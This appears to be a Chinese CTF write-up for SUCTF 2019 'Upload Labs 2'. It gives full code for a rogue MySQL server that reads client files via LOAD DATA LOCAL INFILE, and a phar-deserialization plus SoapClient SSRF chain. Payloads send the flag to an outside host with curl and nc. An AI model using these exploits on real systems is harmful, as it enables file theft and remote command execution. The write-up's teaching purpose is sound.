大概就类比于下面的对话:
客户端:我想将/etc/passwd插入user表中
服务端:那把/etc/passwd发给我
客户端:巴拉巴拉
我们所需要的做的就是搭建一个mysql服务端,然后完成上述过程,实现客户端的任意文件读取。
LOAD DATA INFILE
问题出在该语法上,该语法用于读取一个文件放入表中。两种用法如下:
load data infile "/data/data.csv" into table TestTable;
load data local infile "/home/lightless/data.csv" into table TestTable;
区别在于,第二个用法多了local
,表示的是读取客户端本地的"/home/lightless/data.csv"
,第一个用法则是读取服务端的文件。本次利用也是用的第二种用法。
Mysql
官方也提出了该语法的错误
payload
懒得抓包分析通信过程,直接上payload
以及效果图吧。
客户端:Kali GNU/Linux Rolling
服务端:Ubuntu 18.04.2 LTS
在服务器端运行mysql_server.py
#coding=utf-8
#mysql_server.py
import socket
import logging
logging.basicConfig(level=logging.DEBUG)
filename="/etc/passwd"
sv=socket.socket()
sv.bind(("",3306))
sv.listen(5)
conn,address=sv.accept()
logging.info('Conn from: %r', address)
conn.sendall("\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")
conn.recv(9999)
logging.info("auth okay")
conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
conn.recv(9999)
logging.info("want file...")
wantfile=chr(len(filename)+1)+"\x00\x00\x01\xFB"+filename
conn.sendall(wantfile)
content=conn.recv(9999)
logging.info(content)
conn.close()
filename
为你想读取的文件绝对路径。
然后客户端远程连接mysql服务器
mysql -hx.x.x.x -uroot -p --local-infile
遇到的问题
在刚才客户端连接的时候如果不加参数--local-infile
会读取失败,需要客户端在本地/etc/mysql/my.cnf
中添加如下:
[mysqld]
local-infile = 1
[mysql]
local-infile = 1
添加之后就可以不用添加参数
其实一开始的时候客户端是用php
的mysqli
类连接的,代码如下:
$m = new mysqli();
$m->init();
$m->real_connect('vps_ip','root','toor','mysql',3306);
$m->query('select 1;');
但是这样运行会报错
LOAD DATA LOCAL INFILE
受限制。
可是如果我一定要用php
连接该怎么办呢?
搜了一下,有人说还需要修改客户端的php.ini
(本人环境中在/etc/php/7.3/cli/
目录下)
mysqli.allow_local_infile = On
去掉前面的注释符。
此时再运行
php
,发现已经没有限制了,成功运行。[SUCTF]upload
源码如下https://github.com/team-su/SUCTF-2019/tree/master/Web/Upload Labs 2
这题折腾了好几天,从buuoj
上的平台到自己的服务器上,从直接拿payload
打到看通整个利用链,从不打算做了到再做一遍。我,真的,吐了。
分析问题
index.php
中可以看到,其实主要就是检测文件后缀以及文件内容不能有<?
func.php
中对post
请求中的url
做了正则匹配,这里推荐一个网站正则
if(preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i',$_POST['url'])){
die("Go away!");
过滤了类似phar
之类的伪协议,可是可以用php://filter/resource=phar://
绕过。然后是
$file_path = $_POST['url'];
$file = new File($file_path);
$file->getMIME();
echo "<p>Your file type is '$file' </p>";
对请求的文件进行检测。
跟进class.php
看一下:
class File{
...
function __wakeup(){
$class = new ReflectionClass($this->func);
$a = $class->newInstanceArgs($this->file_name);
$a->check();
}
function getMIME(){
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$this->type = finfo_file($finfo, $this->file_name);
finfo_close($finfo);
}
...
这里的getMIME()
存在文件操作,所以可能存在phar
反序列化。
所以我们可以得到第一步该做的:
-
生成一个phar文件,
payload
中$phar->setStub("<?php__HALT_COMPILER(); ?>");
因为要绕<?
和文件格式检测,所以改为$phar->setStub("GIF89a" . "<script language='php'>__HALT_COMPILER();</script>");
或者$phar->setStub("GIF89aphp __HALT_COMPILER(); ?>");
因为 -
修改
phar
后缀为jpg
。 -
在
func.php
posturl=php://filter/resource=phar://filename.jpg
触发第一个phar
反序列化
至于phar
内容是什么,我们需要继续往下看。
在class.php
中,我们还发现File
类中还有个_wakeup
function __wakeup(){
$class = new ReflectionClass($this->func);
$a = $class->newInstanceArgs($this->file_name);
$a->check();
}
而且这个方法中还有ReflectionClass
这么香的东西
admin.php
内
<?php
include 'config.php';
class Ad{
...
function check(){
$reflect = new ReflectionClass($this->clazz);
$this->instance = $reflect->newInstanceArgs();
$reflectionMethod = new ReflectionMethod($this->clazz, $this->func1);
$reflectionMethod->invoke($this->instance, $this->arg1);
$reflectionMethod = new ReflectionMethod($this->clazz, $this->func2);
$reflectionMethod->invoke($this->instance, $this->arg2);
$reflectionMethod = new ReflectionMethod($this->clazz, $this->func3);
$reflectionMethod->invoke($this->instance, $this->arg3);
}
function __destruct(){
system($this->cmd);
}
}
if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){
if(isset($_POST['admin'])){
$cmd = $_POST['cmd'];
$clazz = $_POST['clazz'];
$func1 = $_POST['func1'];
$func2 = $_POST['func2'];
$func3 = $_POST['func3'];
$arg1 = $_POST['arg1'];
$arg2 = $_POST['arg2'];
$arg2 = $_POST['arg3'];
$admin = new Ad($cmd, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3);
$admin->check();
}
}
...
该php
还需要本地访问,这里不难想到SoapClient
进行SSRF
所以我们第二步出来了:
- 第一步中
phar
的内容为一个File
对象,类中$func=SoapClient;$filename=array{}
,这样
function __wakeup(){
$class = new ReflectionClass($this->func);
$a = $class->newInstanceArgs($this->file_name);
$a->check();
}
在File
对象被phar
反序列化的时候,会触发_wakeup
,然后根据参数实例化一个SoapClient
对象,并且执行check
函数。
-
check
函数并不存在,所以会触发_call
魔术方法。 - 然后利用网上的
payload
,将请求发送给admin.php
,并且请求参数可控(由Soapclient的第二个参数array控制) -
admin.php
中执行我们需要的代码。
现在理一下总体思路。
- 构造一个
File
对象,变量为SoapClient
的参数。然后会去admin.php
中执行代码。 - 将已经构造好的
File
对象放在phar
反序列化中,生成phar
文件。 - 上传
phar
文件,然后使用未被过滤的伪协议去访问该phar
文件,利用文件操作函数触发phar
反序列化。
payload
<?php
@unlink('1.phar');
@unlink('1.gif');
$phar = new Phar('1.phar');
$phar->startBuffering();
$phar->addFromString('test.txt','text');
$phar->setStub('<script language="php">__HALT_COMPILER();</script>');
class File {
public $file_name = "";
public $func = "SoapClient";
function __construct(){
$target = "http://127.0.0.1/admin.php";
$post_string = 'admin=1&cmd=curl --referer "`/readflag`" "http://xss.buuoj.cn/index.php?do=api%26id=72Jvrh"&clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3='. "\r\n";
$headers = [];
$this->file_name = [
null,
array('location' => $target,
'user_agent'=> str_replace('^^', "\r\n", 'err0r^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string),
'uri'=>'zz')
];
}
}
$object = new File;
echo urlencode(serialize($object));
$phar->setMetadata($object);
$phar->stopBuffering();
@rename('1.phar','1.gif');
payload
抄自tr1ple师傅
主要就是$post_string
这一串
$post_string = 'admin=1&cmd=curl --referer "`/readflag`" "http://xss.buuoj.cn/index.php?do=api%26id=72Jvrh"&clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3='. "\r\n";
首先admin=1
是为了admin.php
页面的限制。
cmd=curl --referer "`/readflag`" "http://xss.buuoj.cn/index.php?do=api%26id=72Jvrh"
利用curl
的referer
参数,来设置请求的referer
值,且因为使用了`/readflag`,反引号在php
中调用shell_exec
,也就是相当于shell_exec('/readflag')
,获取到的flag
值放在referer
中。请求我们设置好的xss
平台。
clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3=
是因为Ad
类中的
function check(){
$reflect = new ReflectionClass($this->clazz);
$this->instance = $reflect->newInstanceArgs();
$reflectionMethod = new ReflectionMethod($this->clazz, $this->func1);
$reflectionMethod->invoke($this->instance, $this->arg1);
$reflectionMethod = new ReflectionMethod($this->clazz, $this->func2);
$reflectionMethod->invoke($this->instance, $this->arg2);
$reflectionMethod = new ReflectionMethod($this->clazz, $this->func3);
$reflectionMethod->invoke($this->instance, $this->arg3);
}
传入的参数相当于实例化一个SplStack
对象,然后调用三次push
方法,每次压入一个参数。
payload
中其他东西对着模板就行。
最后生成1.gif,然后上传之后,利用php://filter/resource=phar://
去触发反序列化即可。
原题解法
此时好像和rouge mysql
都没有太大关系,那是因为buuoj
上已经更改过题目,将原先的ip,port
两个参数改成了cmd
,且由原来的_destruct
到_wakeup
,这就意味着我们不能再用上面的payload
来触发,而需要用反序列化一个Ad
类来触发。Suctf
原来的admin.php
如下:
class Ad{
...
function check(){
$reflect = new ReflectionClass($this->clazz);
$this->instance = $reflect->newInstanceArgs();
$reflectionMethod = new ReflectionMethod($this->clazz, $this->func1);
$reflectionMethod->invoke($this->instance, $this->arg1);
$reflectionMethod = new ReflectionMethod($this->clazz, $this->func2);
$reflectionMethod->invoke($this->instance, $this->arg2[0], $this->arg2[1], $this->arg2[2], $this->arg2[3], $this->arg2[4]);
$reflectionMethod = new ReflectionMethod($this->clazz, $this->func3);
$reflectionMethod->invoke($this->instance, $this->arg3);
}
function __wakeup(){
system("/readflag | nc $this->ip $this->port");
}
}
if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){
if(isset($_POST['admin'])){
$ip = $_POST['ip'];
$port = $_POST['port'];
...
这样看来,前面的步骤基本一致,要改的只是上面payload
中$post_string
的值。
我们先想一下要如何获取flag
。
触发_wakeup
。这样的话,我们就又需要一个新的Ad
类的对象,放入phar
中,被执行反序列化操作,从而触发_wakeup
。
这样我们就需要下列代码:
<?php
class Ad{
public $ip;
public $port;
function __construct(){
$ip = 'x.x.x.x';
$port = 'x';
}
}
@unlink('2.phar');
@unlink('2.gif');
$phar = new Phar('2.phar');
$phar->startBuffering();
$phar->addFromString('test.txt','text');
$phar->setStub('<script language="php">__HALT_COMPILER();</script>');
$object = new Ad;
echo urlencode(serialize($object));
$phar->setMetadata($object);
$phar->stopBuffering();
rename('2.phar','2.gif');
来生成第二个phar
文件。
接下来就是如何触发的问题了。
还是需要文件操作。这里就需要用到伪造mysql-server
来实现读取第二个phar
文件,从而实现反序列化一系列操作。
参考mysqli
类实现的souge mysql
代码:
$m = new mysqli();
$m->init();
$m->real_connect('vps_ip','root','toor','mysql',3306);
$m->query('select 1;');
那$post_string
就应该如下构造
$post_string = 'admin=1&ip=x.x.x.x&port=x&clazz=mysqli&func1=init&func2=real_connect&func3=query&arg1=&arg2[0]=vps_ip&arg2[1]=root&arg2[2]=toor&arg2[3]=mysql&arg2[4]=3306&arg3=select 1;'
这样当SoapClient
将请求发给admin.php
的时候,执行到check
函数的时候,会通过实例化类和几个反射函数来完成对伪造的mysql
服务器的连接。
然后我们将
#coding=utf-8
#mysql_server.py
import socket
import logging
logging.basicConfig(level=logging.DEBUG)
filename="/etc/passwd"
sv=socket.socket()
sv.bind(("",3306))
sv.listen(5)
conn,address=sv.accept()
logging.info('Conn from: %r', address)
conn.sendall("\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")
conn.recv(9999)
logging.info("auth okay")
conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
conn.recv(9999)
logging.info("want file...")
wantfile=chr(len(filename)+1)+"\x00\x00\x01\xFB"+filename
conn.sendall(wantfile)
content=conn.recv(9999)
logging.info(content)
conn.close()
中filename
的值改为第二个phar
文件的地址,从而触发第二个phar
文件的反序列化,触发_wakeup
,将flag
外连出来。
网友评论